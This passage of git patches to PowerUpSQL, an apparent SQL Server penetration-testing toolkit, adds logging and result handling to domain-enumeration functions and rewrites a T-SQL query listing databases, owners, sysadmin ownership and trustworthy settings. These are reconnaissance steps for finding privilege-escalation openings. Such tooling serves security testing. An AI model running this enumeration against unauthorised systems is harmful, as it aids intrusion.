started..." } # Execute Query @@ -7233,10 +7233,24 @@ Function Get-SQLDomainObject # Restore Show advanced options Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',$Original_State_ShowAdv;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose } + + # Status user + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : LDAP query against logon server using ADSI OLEDB complete." + } } End { + # Return record count + $RecordCount = $TblDomainObjects.Row.count + + # Status user + If (-not($SuppressVerbose)){ + Write-Verbose -Message "$Instance : $RecordCount records were found." + } + + # Return records return $TblDomainObjects } } @@ -7386,13 +7400,13 @@ Function Get-SQLDomainUser } # Run scriptblock using multi-threading - $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue + $Results = $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue + + $Results } } - - # ---------------------------------- # Get-SQLDomainComputer # ---------------------------------- diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index ba5b59c..81c0928 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.91.117' + ModuleVersion = '1.91.118' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From ea64f82d952f43d9e11aebb7ff740cd58bbbe0ed Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 14 Dec 2017 21:20:03 -0600 Subject: [PATCH 145/145] Update Get-Database.sql --- templates/tsql/Get-Database.sql | 36 +++++++++++++++++---------------- 1 file changed, 19 insertions(+), 17 deletions(-) diff --git a/templates/tsql/Get-Database.sql b/templates/tsql/Get-Database.sql index 747a7fe..8e31bcc 100644 --- a/templates/tsql/Get-Database.sql +++ b/templates/tsql/Get-Database.sql @@ -4,21 +4,23 @@ -- If the "VIEW ANY DATABASE" privilege has been revoked from Public -- then some databases may not be listed if the current user is not a sysadmin. -- Reference: https://msdn.microsoft.com/en-us/library/ms178534.aspx --- fix is_encrypted column - should only show on newer versions +-- TODO: Fix is_encrypted column - should only show on versions =>10 -SELECT a.database_id as [dbid], - a.name, - HAS_DBACCESS(a.name) as [has_dbaccess], - SUSER_SNAME(a.owner_sid) as [db_owner], - a.is_trustworthy_on, - a.is_db_chaining_on, - a.is_broker_enabled, - a.is_encrypted, - a.is_read_only, - a.create_date, - a.recovery_model_desc, - b.filename -FROM [sys].[databases] a -INNER JOIN [sys].[sysdatabases] b - ON a.database_id = b.dbid -ORDER BY a.database_id \ No newline at end of file +SELECT @@SERVERNAME as [Instance], + a.database_id as [DatabaseId], + a.name as [DatabaseName], + SUSER_SNAME(a.owner_sid) as [DatabaseOwner], + IS_SRVROLEMEMBER('sysadmin',SUSER_SNAME(a.owner_sid)) as [OwnerIsSysadmin], + a.is_trustworthy_on, + a.is_db_chaining_on, + a.is_broker_enabled, + a.is_encrypted, + a.is_read_only, + a.create_date, + a.recovery_model_desc, + b.filename as [FileName], + (SELECT CAST(SUM(size) * 8. / 1024 AS DECIMAL(8,2)) from sys.master_files where name like a.name) as [DbSizeMb], + HAS_DBACCESS(a.name) as [has_dbaccess] +FROM [sys].[databases] a +INNER JOIN [sys].[sysdatabases] b +ON a.database_id = b.dbid